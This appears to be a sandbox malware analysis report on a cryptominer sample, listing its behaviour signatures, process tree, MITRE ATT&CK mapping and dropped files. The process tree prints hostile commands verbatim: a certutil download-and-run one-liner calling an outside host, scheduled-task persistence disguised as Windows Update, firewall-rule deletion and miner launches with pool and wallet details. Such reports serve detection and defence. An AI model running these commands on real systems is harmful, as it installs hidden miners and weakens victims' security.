Overview

overview

10

Static

static

3

file.exe

windows10-2004-x64

6

file.exe

windows11-ltsc_2024-x64

10

Analysis

  • max time kernel
    21s
  • max time network
    154s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260911-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    02/10/2026, 04:08

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    file.exe
  • Size 996KB
  • Sample261002-ep9e5stdle
  • SHA256 8fd5f4249f5cc9d7d33ed7679c0b78a5b269d82d2bc7bf3014f19fbff8d4d660
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
10/10
defense_evasiondiscoveryexecutionxmrigminerpersistenceprivilege_escalationspywaretrojan

Malware Config

Signatures

  • Family: xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

    minerxmrig
  • Windows security bypass 2 TTPs 64 IoCs
    defense_evasiontrojan
  • XMRig Miner payload 2 IoCs
    miner
  • Downloads MZ/PE file 2 IoCs
  • Modifies Windows Firewall 2 TTPs 2 IoCs
    defense_evasion
  • Creates a file in the Startup directory 1 TTPs 2 IoCs

    A file was written to a Windows startup folder. Files in these directories are executed automatically when a user logs on or an application initializes.

    persistenceprivilege_escalation
  • Executes a file named after a Windows system binary 1 TTPs 1 IoCs

    The file runs from a user directory while carrying the name of an executable that normally only exists in System32.

    defense_evasion
  • Executes dropped EXE 4 IoCs
  • Windows security modification 2 TTPs 64 IoCs
    defense_evasiontrojan
  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
    spyware
  • Adds Run key to start application 2 TTPs 1 IoCs
    persistence
  • Contacts third-party web service commonly abused for C2 1 TTPs 3 IoCs

    Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.

  • Enumerates connected drives 3 TTPs 1 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Drops file in Program Files directory 1 IoCs
  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

    discovery
  • Executes a command shell one-liner 1 TTPs 10 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

    execution
  • Reads the TCP/IP host and domain name from the registry 1 TTPs 2 IoCs

    The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

    discovery
  • Scheduled Task/Job: Scheduled Task 1 TTPs 4 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

    persistenceexecution
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 12 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of WriteProcessMemory 11 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

    persistence

Processes

  • C:\Windows\explorer.exe
    explorer.exe /LOADSAVEDWINDOWS
    1⤵
    • Drops file in Program Files directory
    • Suspicious behavior: GetForegroundWindowSpam
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:6120
    • C:\Users\Admin\AppData\Local\Temp\file.exe
      "C:\Users\Admin\AppData\Local\Temp\file.exe"
      2⤵
      • Enumerates connected drives
      • Suspicious use of FindShellTrayWindow
      • Suspicious use of WriteProcessMemory
      PID:5972
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c certutil.exe -urlcache -split -f "https://dowmindow.com/12/rfgr/2209/get-file-data" "C:\Users\Admin\AppData\Local\Temp\0e5944ef0.exe" && "C:\Users\Admin\AppData\Local\Temp\0e5944ef0.exe"
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:4760
      • C:\Windows\system32\certutil.exe
        certutil.exe -urlcache -split -f "https://dowmindow.com/12/rfgr/2209/get-file-data" "C:\Users\Admin\AppData\Local\Temp\0e5944ef0.exe"
        3⤵
        • Downloads MZ/PE file
        PID:4292
      • C:\Users\Admin\AppData\Local\Temp\0e5944ef0.exe
        "C:\Users\Admin\AppData\Local\Temp\0e5944ef0.exe"
        3⤵
        • Executes dropped EXE
        • Suspicious use of WriteProcessMemory
        PID:5128
        • C:\Users\Admin\AppData\Local\Microsoft\Windows\Update\0e5944ef0.exe
          "C:\Users\Admin\AppData\Local\Microsoft\Windows\Update\0e5944ef0.exe"
          4⤵
          • Executes dropped EXE
          • Suspicious use of WriteProcessMemory
          PID:4256
          • C:\Users\Admin\AppData\Local\Microsoft\Windows\Update\rt\SMX4256\RuntimeBroker.exe
            "C:\Users\Admin\AppData\Local\Microsoft\Windows\Update\rt\SMX4256\RuntimeBroker.exe"
            5⤵
            • Windows security bypass
            • Creates a file in the Startup directory
            • Executes a file named after a Windows system binary
            • Executes dropped EXE
            • Windows security modification
            • Adds Run key to start application
            • Reads the TCP/IP host and domain name from the registry
            • Suspicious use of WriteProcessMemory
            PID:5628
            • C:\Windows\system32\schtasks.exe
              "C:\Windows\system32\schtasks.exe" /Create /F /TN WindowsUpdate /SC ONLOGON /IT /RL LIMITED /TR "C:\Users\Admin\AppData\Local\Microsoft\Windows\Update\MicrosoftUpdateAssistant.exe"
              6⤵
              • Scheduled Task/Job: Scheduled Task
              PID:2448
            • C:\Windows\system32\schtasks.exe
              "C:\Windows\system32\schtasks.exe" /Delete /F /TN WindowsUpdateBoot
              6⤵
                PID:1388
              • C:\Windows\SYSTEM32\netsh.exe
                netsh advfirewall firewall delete rule program="C:\Users\Admin\AppData\Local\Microsoft\Windows\Update\MicrosoftUpdateWorker.exe"
                6⤵
                • Modifies Windows Firewall
                PID:4556
              • C:\Users\Admin\AppData\Local\Microsoft\Windows\Update\MicrosoftUpdateHealth.exe
                "C:\Users\Admin\AppData\Local\Microsoft\Windows\Update\MicrosoftUpdateHealth.exe"
                6⤵
                  PID:4952
                • C:\Windows\system32\schtasks.exe
                  "C:\Windows\system32\schtasks.exe" /Create /F /TN WindowsUpdate /SC ONLOGON /IT /RL LIMITED /TR "C:\Users\Admin\AppData\Local\Microsoft\Windows\Update\MicrosoftUpdateAssistant.exe"
                  6⤵
                  • Scheduled Task/Job: Scheduled Task
                  PID:2476
                • C:\Windows\system32\schtasks.exe
                  "C:\Windows\system32\schtasks.exe" /Delete /F /TN WindowsUpdateBoot
                  6⤵
                    PID:1736
                  • C:\Users\Admin\AppData\Local\Microsoft\Windows\Update\MicrosoftUpdateWorker.exe
                    "C:\Users\Admin\AppData\Local\Microsoft\Windows\Update\MicrosoftUpdateWorker.exe" --config="C:\Users\Admin\AppData\Local\Microsoft\Windows\Update\config.json"
                    6⤵
                      PID:5568
                  • C:\Users\Admin\AppData\Local\Microsoft\Windows\Update\rt\SMX4256\RuntimeSync.exe
                    "C:\Users\Admin\AppData\Local\Microsoft\Windows\Update\rt\SMX4256\RuntimeSync.exe"
                    5⤵
                    • Executes dropped EXE
                    • Windows security modification
                    PID:3688
                    • C:\Windows\system32\schtasks.exe
                      "C:\Windows\system32\schtasks.exe" /Create /F /TN WindowsCache /SC ONLOGON /IT /RL LIMITED /TR "C:\Users\Admin\AppData\Local\Microsoft\Windows\Caches\MicrosoftCacheAssistant.exe"
                      6⤵
                      • Scheduled Task/Job: Scheduled Task
                      PID:5428
                    • C:\Windows\system32\schtasks.exe
                      "C:\Windows\system32\schtasks.exe" /Delete /F /TN WindowsCacheBoot
                      6⤵
                        PID:928
                      • C:\Windows\SYSTEM32\netsh.exe
                        netsh advfirewall firewall delete rule program="C:\Users\Admin\AppData\Local\Microsoft\Windows\Caches\MicrosoftCacheWorker.exe"
                        6⤵
                        • Modifies Windows Firewall
                        PID:3692
                      • C:\Users\Admin\AppData\Local\Microsoft\Windows\Caches\MicrosoftCacheHealth.exe
                        "C:\Users\Admin\AppData\Local\Microsoft\Windows\Caches\MicrosoftCacheHealth.exe"
                        6⤵
                          PID:3388
                        • C:\Windows\system32\schtasks.exe
                          "C:\Windows\system32\schtasks.exe" /Create /F /TN WindowsCache /SC ONLOGON /IT /RL LIMITED /TR "C:\Users\Admin\AppData\Local\Microsoft\Windows\Caches\MicrosoftCacheAssistant.exe"
                          6⤵
                          • Scheduled Task/Job: Scheduled Task
                          PID:4948
                        • C:\Windows\system32\schtasks.exe
                          "C:\Windows\system32\schtasks.exe" /Delete /F /TN WindowsCacheBoot
                          6⤵
                            PID:2040
                          • C:\Users\Admin\AppData\Local\Microsoft\Windows\Caches\MicrosoftCacheWorker.exe
                            "C:\Users\Admin\AppData\Local\Microsoft\Windows\Caches\MicrosoftCacheWorker.exe" --algorithm-gpu pearlhash --disable-cpu --gpu-disable-oc --disable-worker-watchdog --give-up-limit 2 --pool pearl-eu2.luckypool.io:3360,de.pearl.herominers.com:1200,prl.kryptex.network:7048 --wallet prl1pzry7auyux4ju57ns3g0d69kq0ldg82hv6q20y4jedmvuaes2ltssqukyzm --worker FiviMillionBlack --password x --tls false --api-enable --api-port 42349 --api-rig-name FiviMillionBlack
                            6⤵
                              PID:5288
                              • C:\Windows\system32\cmd.exe
                                C:\Windows\system32\cmd.exe /c set
                                7⤵
                                • Executes a command shell one-liner
                                PID:3552
                            • C:\Users\Admin\AppData\Local\Microsoft\Windows\Caches\MicrosoftCacheWorker.exe
                              "C:\Users\Admin\AppData\Local\Microsoft\Windows\Caches\MicrosoftCacheWorker.exe" --algorithm-gpu pearlhash --disable-cpu --gpu-disable-oc --disable-worker-watchdog --give-up-limit 2 --pool pearl-eu2.luckypool.io:3360,de.pearl.herominers.com:1200,prl.kryptex.network:7048 --wallet prl1pzry7auyux4ju57ns3g0d69kq0ldg82hv6q20y4jedmvuaes2ltssqukyzm --worker FiviMillionBlack --password x --tls false --api-enable --api-port 42349 --api-rig-name FiviMillionBlack
                              6⤵
                                PID:3080
                                • C:\Windows\system32\cmd.exe
                                  C:\Windows\system32\cmd.exe /c set
                                  7⤵
                                  • Executes a command shell one-liner
                                  PID:3404
                              • C:\Users\Admin\AppData\Local\Microsoft\Windows\Caches\MicrosoftCacheWorker.exe
                                "C:\Users\Admin\AppData\Local\Microsoft\Windows\Caches\MicrosoftCacheWorker.exe" --algorithm-gpu pearlhash --disable-cpu --gpu-disable-oc --disable-worker-watchdog --give-up-limit 2 --pool pearl-eu2.luckypool.io:3360,de.pearl.herominers.com:1200,prl.kryptex.network:7048 --wallet prl1pzry7auyux4ju57ns3g0d69kq0ldg82hv6q20y4jedmvuaes2ltssqukyzm --worker FiviMillionBlack --password x --tls false --api-enable --api-port 42349 --api-rig-name FiviMillionBlack
                                6⤵
                                  PID:5800
                                  • C:\Windows\system32\cmd.exe
                                    C:\Windows\system32\cmd.exe /c set
                                    7⤵
                                    • Executes a command shell one-liner
                                    PID:1684
                                • C:\Users\Admin\AppData\Local\Microsoft\Windows\Caches\MicrosoftCacheWorker.exe
                                  "C:\Users\Admin\AppData\Local\Microsoft\Windows\Caches\MicrosoftCacheWorker.exe" --algorithm-gpu pearlhash --disable-cpu --gpu-disable-oc --disable-worker-watchdog --give-up-limit 2 --pool pearl-eu2.luckypool.io:3360,de.pearl.herominers.com:1200,prl.kryptex.network:7048 --wallet prl1pzry7auyux4ju57ns3g0d69kq0ldg82hv6q20y4jedmvuaes2ltssqukyzm --worker FiviMillionBlack --password x --tls false --api-enable --api-port 42349 --api-rig-name FiviMillionBlack
                                  6⤵
                                    PID:2020
                                    • C:\Windows\system32\cmd.exe
                                      C:\Windows\system32\cmd.exe /c set
                                      7⤵
                                      • Executes a command shell one-liner
                                      PID:4600
                                  • C:\Users\Admin\AppData\Local\Microsoft\Windows\Caches\MicrosoftCacheWorker.exe
                                    "C:\Users\Admin\AppData\Local\Microsoft\Windows\Caches\MicrosoftCacheWorker.exe" --algorithm-gpu pearlhash --disable-cpu --gpu-disable-oc --disable-worker-watchdog --give-up-limit 2 --pool pearl-eu2.luckypool.io:3360,de.pearl.herominers.com:1200,prl.kryptex.network:7048 --wallet prl1pzry7auyux4ju57ns3g0d69kq0ldg82hv6q20y4jedmvuaes2ltssqukyzm --worker FiviMillionBlack --password x --tls false --api-enable --api-port 42349 --api-rig-name FiviMillionBlack
                                    6⤵
                                      PID:5032
                                      • C:\Windows\system32\cmd.exe
                                        C:\Windows\system32\cmd.exe /c set
                                        7⤵
                                        • Executes a command shell one-liner
                                        PID:5024
                                    • C:\Users\Admin\AppData\Local\Microsoft\Windows\Caches\MicrosoftCacheWorker.exe
                                      "C:\Users\Admin\AppData\Local\Microsoft\Windows\Caches\MicrosoftCacheWorker.exe" --algorithm-gpu pearlhash --disable-cpu --gpu-disable-oc --disable-worker-watchdog --give-up-limit 2 --pool pearl-eu2.luckypool.io:3360,de.pearl.herominers.com:1200,prl.kryptex.network:7048 --wallet prl1pzry7auyux4ju57ns3g0d69kq0ldg82hv6q20y4jedmvuaes2ltssqukyzm --worker FiviMillionBlack --password x --tls false --api-enable --api-port 42349 --api-rig-name FiviMillionBlack
                                      6⤵
                                        PID:2624
                                        • C:\Windows\system32\cmd.exe
                                          C:\Windows\system32\cmd.exe /c set
                                          7⤵
                                          • Executes a command shell one-liner
                                          PID:1872
                                      • C:\Users\Admin\AppData\Local\Microsoft\Windows\Caches\MicrosoftCacheWorker.exe
                                        "C:\Users\Admin\AppData\Local\Microsoft\Windows\Caches\MicrosoftCacheWorker.exe" --algorithm-gpu pearlhash --disable-cpu --gpu-disable-oc --disable-worker-watchdog --give-up-limit 2 --pool pearl-eu2.luckypool.io:3360,de.pearl.herominers.com:1200,prl.kryptex.network:7048 --wallet prl1pzry7auyux4ju57ns3g0d69kq0ldg82hv6q20y4jedmvuaes2ltssqukyzm --worker FiviMillionBlack --password x --tls false --api-enable --api-port 42349 --api-rig-name FiviMillionBlack
                                        6⤵
                                          PID:5512
                                          • C:\Windows\system32\cmd.exe
                                            C:\Windows\system32\cmd.exe /c set
                                            7⤵
                                            • Executes a command shell one-liner
                                            PID:476
                                        • C:\Users\Admin\AppData\Local\Microsoft\Windows\Caches\MicrosoftCacheWorker.exe
                                          "C:\Users\Admin\AppData\Local\Microsoft\Windows\Caches\MicrosoftCacheWorker.exe" --algorithm-gpu pearlhash --disable-cpu --gpu-disable-oc --disable-worker-watchdog --give-up-limit 2 --pool pearl-eu2.luckypool.io:3360,de.pearl.herominers.com:1200,prl.kryptex.network:7048 --wallet prl1pzry7auyux4ju57ns3g0d69kq0ldg82hv6q20y4jedmvuaes2ltssqukyzm --worker FiviMillionBlack --password x --tls false --api-enable --api-port 42349 --api-rig-name FiviMillionBlack
                                          6⤵
                                            PID:5012
                                            • C:\Windows\system32\cmd.exe
                                              C:\Windows\system32\cmd.exe /c set
                                              7⤵
                                              • Executes a command shell one-liner
                                              PID:6140
                                          • C:\Users\Admin\AppData\Local\Microsoft\Windows\Caches\MicrosoftCacheWorker.exe
                                            "C:\Users\Admin\AppData\Local\Microsoft\Windows\Caches\MicrosoftCacheWorker.exe" --algorithm-gpu pearlhash --disable-cpu --gpu-disable-oc --disable-worker-watchdog --give-up-limit 2 --pool pearl-eu2.luckypool.io:3360,de.pearl.herominers.com:1200,prl.kryptex.network:7048 --wallet prl1pzry7auyux4ju57ns3g0d69kq0ldg82hv6q20y4jedmvuaes2ltssqukyzm --worker FiviMillionBlack --password x --tls false --api-enable --api-port 42349 --api-rig-name FiviMillionBlack
                                            6⤵
                                              PID:3384
                                              • C:\Windows\system32\cmd.exe
                                                C:\Windows\system32\cmd.exe /c set
                                                7⤵
                                                • Executes a command shell one-liner
                                                PID:3804
                                  • C:\Users\Admin\AppData\Local\Microsoft\Windows\Update\MicrosoftUpdateAssistant.exe
                                    C:\Users\Admin\AppData\Local\Microsoft\Windows\Update\MicrosoftUpdateAssistant.exe
                                    1⤵
                                      PID:5116
                                    • C:\Users\Admin\AppData\Local\Microsoft\Windows\Update\MicrosoftUpdateAssistant.exe
                                      "C:\Users\Admin\AppData\Local\Microsoft\Windows\Update\MicrosoftUpdateAssistant.exe"
                                      1⤵
                                        PID:5912
                                      • C:\Users\Admin\AppData\Local\Microsoft\Windows\Caches\MicrosoftCacheAssistant.exe
                                        C:\Users\Admin\AppData\Local\Microsoft\Windows\Caches\MicrosoftCacheAssistant.exe
                                        1⤵
                                          PID:2096
                                        • C:\Users\Admin\AppData\Local\Microsoft\Windows\Caches\MicrosoftCacheAssistant.exe
                                          "C:\Users\Admin\AppData\Local\Microsoft\Windows\Caches\MicrosoftCacheAssistant.exe"
                                          1⤵
                                            PID:2328

                                          Network

                                                MITRE ATT&CK Enterprise v16

                                                Reconnaissance

                                                Resource Development

                                                Initial Access

                                                Execution

                                                Command and Scripting Interpreter

                                                1
                                                T1059

                                                Windows Command Shell

                                                1
                                                T1059.003

                                                Scheduled Task/Job

                                                1
                                                T1053

                                                Scheduled Task

                                                1
                                                T1053.005

                                                Persistence

                                                Boot or Logon Autostart Execution

                                                2
                                                T1547

                                                Registry Run Keys / Startup Folder

                                                2
                                                T1547.001

                                                Create or Modify System Process

                                                1
                                                T1543

                                                Windows Service

                                                1
                                                T1543.003

                                                Scheduled Task/Job

                                                1
                                                T1053

                                                Scheduled Task

                                                1
                                                T1053.005

                                                Privilege Escalation

                                                Boot or Logon Autostart Execution

                                                2
                                                T1547

                                                Registry Run Keys / Startup Folder

                                                2
                                                T1547.001

                                                Create or Modify System Process

                                                1
                                                T1543

                                                Windows Service

                                                1
                                                T1543.003

                                                Scheduled Task/Job

                                                1
                                                T1053

                                                Scheduled Task

                                                1
                                                T1053.005

                                                Defense Evasion

                                                Impair Defenses

                                                3
                                                T1562

                                                Disable or Modify System Firewall

                                                1
                                                T1562.004

                                                Disable or Modify Tools

                                                2
                                                T1562.001

                                                Masquerading

                                                1
                                                T1036

                                                Match Legitimate Name or Location

                                                1
                                                T1036.005

                                                Modify Registry

                                                3
                                                T1112

                                                Credential Access

                                                Unsecured Credentials

                                                1
                                                T1552

                                                Credentials In Files

                                                1
                                                T1552.001

                                                Discovery

                                                Browser Information Discovery

                                                1
                                                T1217

                                                Peripheral Device Discovery

                                                1
                                                T1120

                                                Query Registry

                                                2
                                                T1012

                                                System Information Discovery

                                                1
                                                T1082

                                                System Network Configuration Discovery

                                                1
                                                T1016

                                                Lateral Movement

                                                Collection

                                                Data from Local System

                                                1
                                                T1005

                                                Command and Control

                                                Web Service

                                                1
                                                T1102

                                                Exfiltration

                                                Impact

                                                Replay Monitor

                                                Loading Replay Monitor...

                                                Downloads

                                                89986B561565BD40CD252D2331D4559C
                                                • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\89986B561565BD40CD252D2331D4559C
                                                • Size 309B
                                                • SHA256 fc49daa629afb2f2b45e997cb22f4fe8a1adc03941eb1d412a5c0d9b002cf3f5
                                                • MD5 SHA1 SHA512 TLSH
                                                Submit Download

                                                8B2B9A00839EED1DFDCCC3BFC2F5DF12
                                                • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\8B2B9A00839EED1DFDCCC3BFC2F5DF12
                                                • Size 1KB
                                                • SHA256 6f7bfa4789bd506ccf81640feec036bac7c0354084ca472f55a79ce53b9c3ade
                                                • MD5 SHA1 SHA512 TLSH
                                                Submit Download

                                                B46811C17859FFB409CF0E904A4AA8F8
                                                • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\B46811C17859FFB409CF0E904A4AA8F8
                                                • Size 529B
                                                • SHA256 39c727d70b8bdf5fc324233d0823555eb66ce846119609a22d1cebedbc3cf80c
                                                • MD5 SHA1 SHA512 TLSH
                                                Submit Download

                                                89986B561565BD40CD252D2331D4559C
                                                • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\89986B561565BD40CD252D2331D4559C
                                                • Size 192B
                                                • SHA256 d87f9ac9bcdd76d78ec27f5963e53271f22a9d07bda4f46bb8b8d6228ca15ecc
                                                • MD5 SHA1 SHA512 TLSH
                                                Submit Download

                                                8B2B9A00839EED1DFDCCC3BFC2F5DF12
                                                • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\8B2B9A00839EED1DFDCCC3BFC2F5DF12
                                                • Size 174B
                                                • SHA256 5f55cd18a70b0ad4a9717d3a5d3eb95930754ea494fc0deae344d3a117281981
                                                • MD5 SHA1 SHA512 TLSH
                                                Submit Download

                                                B46811C17859FFB409CF0E904A4AA8F8
                                                • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\B46811C17859FFB409CF0E904A4AA8F8
                                                • Size 170B
                                                • SHA256 c97c694c53c03ed6c8a85768c308f276fa58b7d5a4a7fbf91c8177bca2f20d53
                                                • MD5 SHA1 SHA512 TLSH
                                                Submit Download

                                                MicrosoftCacheHealth.exe
                                                • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\Caches\MicrosoftCacheHealth.exe
                                                • Size 467KB
                                                • SHA256 93cce51817d1171b4f8a4192c890e651f836551102bf7a74c35f401eabf86eff
                                                • MD5 SHA1 SHA512 SSDEEP TLSH
                                                Submit Download

                                                MicrosoftCacheWorker.exe
                                                • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\Caches\MicrosoftCacheWorker.exe
                                                • Size 24.1MB
                                                • SHA256 a0d90564ef9a943924f381c8952f91b98e4910012225e88d397ed941068300c9
                                                • MD5 SHA1 SHA512 SSDEEP TLSH
                                                Submit Download

                                                build.json
                                                • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\Caches\build.json
                                                • Size 1KB
                                                • SHA256 041081af3459aead0ba1db85774631de92c2a4f6234dfeaed03881a41fd4ac5e
                                                • MD5 SHA1 SHA512 TLSH
                                                Submit Download

                                                build.json
                                                • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\Caches\build.json
                                                • Size 1KB
                                                • SHA256 86d7da6c9a0ae2838442104efdafa463c0a38cdb2ca0c50f6edd706b8899870e
                                                • MD5 SHA1 SHA512 TLSH
                                                Submit Download

                                                gpu_duty.json
                                                • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\Caches\gpu_duty.json
                                                • Size 94B
                                                • SHA256 02c0910d0359fe34264ad440c2fee822c5f76ad54193f3c44873fd25d5957267
                                                • MD5 SHA1 SHA512 TLSH
                                                Submit Download

                                                gpu_duty.json
                                                • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\Caches\gpu_duty.json
                                                • Size 94B
                                                • SHA256 d86bdd2151c9765ab0a06f14d90495b8b23dbc109a90628f6df54eca4c9afcce
                                                • MD5 SHA1 SHA512 TLSH
                                                Submit Download

                                                gpu_duty.json
                                                • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\Caches\gpu_duty.json
                                                • Size 94B
                                                • SHA256 bf4cac081001c67f50f29cdddbbd295b8be28d76821f7b4e086883248aa941cf
                                                • MD5 SHA1 SHA512 TLSH
                                                Submit Download

                                                gpu_duty.json
                                                • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\Caches\gpu_duty.json
                                                • Size 94B
                                                • SHA256 44da34d2bb11e566b5dc6123e3fcff9804c9dd869cc908c60ceecc073564cd9b
                                                • MD5 SHA1 SHA512 TLSH
                                                Submit Download

                                                gpu_duty.json
                                                • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\Caches\gpu_duty.json
                                                • Size 94B
                                                • SHA256 82a80ebc6bee8be9e0ebc161e31feeabd73e3178a961ddd81b26051067573698
                                                • MD5 SHA1 SHA512 TLSH
                                                Submit Download

                                                gpu_duty.json
                                                • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\Caches\gpu_duty.json
                                                • Size 94B
                                                • SHA256 0e66b417e612ddf40721b17210bbfd303873d66ff192bc31ad14498dc10639e9
                                                • MD5 SHA1 SHA512 TLSH
                                                Submit Download

                                                gpu_status.json
                                                • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\Caches\gpu_status.json
                                                • Size 139B
                                                • SHA256 99b73f5f2642a92a69ffb9d111b04d4471de42b5c4207ff71f0ed146177d88ba
                                                • MD5 SHA1 SHA512 TLSH
                                                Submit Download

                                                gpu_status.json
                                                • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\Caches\gpu_status.json
                                                • Size 135B
                                                • SHA256 4970d9da18b7ed8da5a63c0865f18e7adbf3bcbc4465a6eb9de4bfdab8fdfcc4
                                                • MD5 SHA1 SHA512 TLSH
                                                Submit Download

                                                gpu_status.json
                                                • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\Caches\gpu_status.json
                                                • Size 140B
                                                • SHA256 fb53585859aba52e49bee898c76e6b3d747bde4208b1efc7aaed94631f59f8c3
                                                • MD5 SHA1 SHA512 TLSH
                                                Submit Download

                                                taskmgr_hook.dll
                                                • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\Caches\taskmgr_hook.dll
                                                • Size 14KB
                                                • SHA256 550bafc064eeb872a6e7089e5bf507525a2b78156841e41090886a807c6865cb
                                                • MD5 SHA1 SHA512 SSDEEP TLSH
                                                Submit Download

                                                0e5944ef0.exe
                                                • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\Update\0e5944ef0.exe
                                                • Size 27.8MB
                                                • SHA256 f60f95e85612ec571ca039d4f7c58bf5af6a6e5f617a479094c080aee8fe7fda
                                                • MD5 SHA1 SHA512 SSDEEP TLSH
                                                Submit Download

                                                MicrosoftUpdateHealth.exe
                                                • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\Update\MicrosoftUpdateHealth.exe
                                                • Size 467KB
                                                • SHA256 7f5efca21321255b6941702900b59dd0d8bd86f2281bb5cf213525997f6c4a4b
                                                • MD5 SHA1 SHA512 SSDEEP TLSH
                                                Submit Download

                                                MicrosoftUpdateWorker.exe
                                                • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\Update\MicrosoftUpdateWorker.exe
                                                • Size 6.2MB
                                                • SHA256 0eadb9cc8098d0fb1ac1e80f13de901435a4c5e974ea0dc7306e037178e84ee0
                                                • MD5 SHA1 SHA512 SSDEEP TLSH
                                                Submit Download

                                                build.json
                                                • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\Update\build.json
                                                • Size 1KB
                                                • SHA256 6b85ca2bd86c6f650b86199b9a963ee9673440dcb34dfe0ab2a4f214e583270d
                                                • MD5 SHA1 SHA512 TLSH
                                                Submit Download

                                                build.json
                                                • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\Update\build.json
                                                • Size 1KB
                                                • SHA256 46033c3adbc85d75834529561b6e02cec9e730ead4deaae6dab3ccc9cca8873e
                                                • MD5 SHA1 SHA512 TLSH
                                                Submit Download

                                                config.json
                                                • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\Update\config.json
                                                • Size 861B
                                                • SHA256 424e84d51c09d712ab04c6c1f4d7e19db2388faa822d29fe7439b40a7cb6889a
                                                • MD5 SHA1 SHA512 TLSH
                                                Submit Download

                                                cpu_status.json
                                                • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\Update\cpu_status.json
                                                • Size 28B
                                                • SHA256 75a83a674fb728255a1cb4f94d0fef3c22ec3635b324707f75e2daa77796bd87
                                                • MD5 SHA1 SHA512
                                                Submit Download

                                                cpu_status.json
                                                • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\Update\cpu_status.json
                                                • Size 27B
                                                • SHA256 c83bd458695971eb056ab6c95b6649046f7d8df9eb574a81430f93c8a7937cfa
                                                • MD5 SHA1 SHA512
                                                Submit Download

                                                RuntimeBroker.exe
                                                • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\Update\rt\SMX4256\RuntimeBroker.exe
                                                • Size 2.7MB
                                                • SHA256 7dc89f61c4af521400520985a27e910b76052870b287f7d029e8facbdd198cd7
                                                • MD5 SHA1 SHA512 SSDEEP TLSH
                                                Submit Download

                                                RuntimeSync.exe
                                                • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\Update\rt\SMX4256\RuntimeSync.exe
                                                • Size 24.7MB
                                                • SHA256 2edcd637c43d573cae6a991659f9ca79a10a69689c5146473322f9c72da43128
                                                • MD5 SHA1 SHA512 SSDEEP TLSH
                                                Submit Download

                                                taskmgr_hook.dll
                                                • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\Update\taskmgr_hook.dll
                                                • Size 14KB
                                                • SHA256 d110bc118c45ed00d2e485825bc62388085bcec8135ea330d939930ab589e222
                                                • MD5 SHA1 SHA512 SSDEEP TLSH
                                                Submit Download

                                                0e5944ef0.exe
                                                • Path C:\Users\Admin\AppData\Local\Temp\0e5944ef0.exe
                                                • Size 27.9MB
                                                • SHA256 c6c82e5b3639a224da584942355ce4b07cb6c6e3452cc5b32c6e8efa9a2f5cc6
                                                • MD5 SHA1 SHA512 SSDEEP TLSH
                                                Submit Download

                                                WindowsCache.vbs
                                                • Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\WindowsCache.vbs
                                                • Size 128B
                                                • SHA256 ecd7850df5923605f8656d0c0b4b3161993ee8fac44618cc1d91651095c9237a
                                                • MD5 SHA1 SHA512 TLSH
                                                Submit Download

                                                WindowsUpdate.vbs
                                                • Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\WindowsUpdate.vbs
                                                • Size 128B
                                                • SHA256 f0a6f60d1b23f58976fdbee8d0e36d0794e95aeddf786c6e97fdb0af4cdc5845
                                                • MD5 SHA1 SHA512 TLSH
                                                Submit Download

                                                memory/2020-299-0x00007FF757170000-0x00007FF759E63000-memory.dmp
                                                Download

                                                memory/2020-301-0x00007FF757170000-0x00007FF759E63000-memory.dmp
                                                Download

                                                memory/2020-300-0x00007FF757170000-0x00007FF759E63000-memory.dmp
                                                Download

                                                memory/2020-303-0x00007FF757170000-0x00007FF759E63000-memory.dmp
                                                Download

